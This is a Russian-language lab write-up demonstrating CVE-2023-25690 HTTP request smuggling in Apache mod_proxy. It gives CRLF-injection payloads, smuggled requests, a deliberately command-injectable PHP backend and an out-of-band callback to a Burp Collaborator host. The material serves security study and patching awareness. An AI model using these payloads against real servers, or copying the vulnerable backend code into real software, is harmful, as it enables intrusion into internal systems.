
CVE 2023 25690 Доказательство концепции - уязвимая конфигурация mod_proxy на Apache HTTP Server версий 2.4.0 – 2.4.55 приводит к уязвимости HTTP Request Smuggling.
Некоторые конфигурации mod_proxy на сервере Apache HTTP версий 2.4.0 – 2.4.55 допускают атаку контрабанды HTTP-запросов. Уязвимы конфигурации, в которых включён mod_proxy вместе с какой-либо формой RewriteRule или ProxyPassMatch, где неспецифический шаблон соответствует некоторой части предоставленного пользователем целевого запроса (URL) и затем повторно вставляется в проксируемый целевой запрос с помощью подстановки переменных. Например, что-то вроде:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
Разделение/контрабанда запросов может привести к обходу контроля доступа на прокси-сервере, проксированию непреднамеренных URL на существующие исходные серверы и отравлению кэша. Пользователям рекомендуется обновиться как минимум до версии 2.4.56 Apache HTTP Server.
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
Включение RewriteEngine on в конфигурации Apache включает механизм перезаписи URL. Перезапись URL — это техника, позволяющая веб-серверам динамически изменять URL, запрашиваемые браузером клиента, на другой URL перед обслуживанием контента.
Например, предположим, что у нас есть следующая структура URL для интернет-магазина:
https://example-shop.com/categories/1
При следующей директиве RewriteRule в файле конфигурации Apache:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
Когда пользователь запрашивает URL https://example-shop.com/categories/1, RewriteRule совпадёт с URL и захватит значение 1 с помощью регулярного выражения ^/categories/(.*). Затем правило переписывает URL в http://example-shop.com:8080/categories?id=1, добавляя захваченное значение в переписанный URL в качестве параметра запроса id.
Поскольку в правиле присутствует флаг [P], Apache будет обрабатывать переписанный URL как прокси-запрос и перенаправлять его на целевой сервер по адресу http://example-shop.com:8080/categories с параметром запроса id, установленным в 1. Целевой сервер обработает запрос и отправит ответ обратно Apache, который перешлёт его клиенту.
Подводя итог, директива RewriteRule с флагом [P] используется для перезаписи URL и их проксирования на другой сервер. В данном случае правило соответствует URL, начинающимся с /categories/, и добавляет захваченное значение в качестве параметра запроса id к переписанному URL. Затем Apache перенаправляет запрос на целевой сервер, который обрабатывает запрос и возвращает ответ.
Наконец, ProxyPassReverse /categories/ http://example-shop.com:8080/ просто заменяет домен и путь внутреннего сервера на домен и путь прокси-сервера, чтобы клиент мог корректно переходить по ссылкам и получать доступ к контенту с проксируемого внутреннего сервера, как если бы он обслуживался непосредственно прокси-сервером.

Для симуляции уязвимости в Apache мы будем использовать версию httpd 2.4.55. Кроме того, весь стенд будет докеризирован для упрощения настройки, конфигурации и воспроизводимости.
Структура файлов стенда будет следующей:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
Окончательная конфигурация httpd.conf выглядит следующим образом:
ErrorLog "/usr/local/apache2/logs/error.log"
CustomLog "/usr/local/apache2/logs/access.log" common
# Загрузка необходимых модулей
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"
</VirtualHost>
Используйте команду docker-compose.exe up --build для запуска стенда.
В этом разделе я объясню, как CRLF-инъекция может привести к внутренней контрабанде HTTP-запросов, позволяя злоумышленнику получить несанкционированный доступ к внутренним ресурсам, которые в противном случае были бы недоступны.
Согласно описанию уязвимости, httpd <=2.4.55 уязвим к разделению HTTP-ответов, также известному как CRLF-инъекция.
CRLF-инъекция возникает, когда:
что в нашем случае можно подтвердить, передав следующий префикс CRLF в URL:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
Добавив указанный префикс к URL, итоговый запрос будет выглядеть так:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
После обработки запроса сервер вернёт код ответа 200, что указывает на уязвимость к CRLF-инъекции.
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
Дополнительную информацию о разделении HTTP-запросов можно найти здесь: https://owasp.org/www-community/attacks/HTTP_Response_Splitting
Используя инъекцию заголовков, мы выполним внутреннюю контрабанду HTTP-запросов.
Начнём со следующего префикса:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
и следующего запроса:
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
При применении правила перезаписи запрос преобразуется в следующий формат:
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
где закодированный URL декодируется в корректный HTTP-синтаксис, заставляя внутренний сервер обрабатывать декодированные данные как второй запрос.
Предположим, что наше внутреннее приложение содержит следующий секретный код:
#Internal secret functionality
if(isset($_GET['secret'])){
$secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
С помощью следующего префикса мы можем отправить второй запрос к скрытой функции:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
и получить запрос в Burp Collaborator:

Исправления:
Влияние этой уязвимости заключается в том, что она позволяет злоумышленникам нацеливаться и получать доступ к внутренним приложениям, которые должны быть скрыты обратным прокси, что потенциально может привести к несанкционированному доступу, утечке данных или дальнейшей эксплуатации.